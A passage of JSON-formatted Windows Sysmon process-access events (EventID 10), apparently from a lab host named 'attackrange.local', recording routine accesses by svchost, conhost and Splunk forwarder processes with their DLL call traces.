:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:01:41","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:01:40","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6947,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:01:40.744\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:01:40.744","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:01:41","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:01:40","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6948,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:01:40.744\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:01:40.744","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:01:41","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:01:40","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6949,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:01:40.744\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:01:40.744","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:01:41","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:01:40","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6950,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:01:40.744\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:01:40.744","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:01:41","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:01:40","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6951,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:01:40.744\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:01:40.744","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:01:41","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:01:40","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6952,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:01:40.744\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:01:40.744","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:01:41","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:01:40","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6953,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:01:40.744\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:01:40.744","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:01:41","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:01:40","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6954,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:01:40.744\r\nSourceProcessGUID: {90617006-407B-5F2D-0000-001095160500}\r\nSourceProcessId: 664\r\nSourceThreadId: 2796\r\nSourceImage: C:\\Windows\\system32\\conhost.exe\r\nTargetProcessGUID: {90617006-42A4-5F2D-0000-0010EA470B00}\r\nTargetProcessId: 4020\r\nTargetImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-regmon.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:01:40.744","SourceProcessGUID":"{90617006-407B-5F2D-0000-001095160500}","SourceProcessId":"664","SourceThreadId":"2796","SourceImage":"C:\\Windows\\system32\\conhost.exe","TargetProcessGUID":"{90617006-42A4-5F2D-0000-0010EA470B00}","TargetProcessId":"4020","TargetImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-regmon.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:01:41","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:01:41","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6955,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:01:41.045\r\nSourceProcessGUID: {90617006-42A4-5F2D-0000-0010EA470B00}\r\nSourceProcessId: 4020\r\nSourceThreadId: 2816\r\nSourceImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-regmon.exe\r\nTargetProcessGUID: {90617006-407B-5F2D-0000-0010B4110500}\r\nTargetProcessId: 5056\r\nTargetImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\r\nGrantedAccess: 0x101400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-regmon.exe+5691a5|C:\\Program 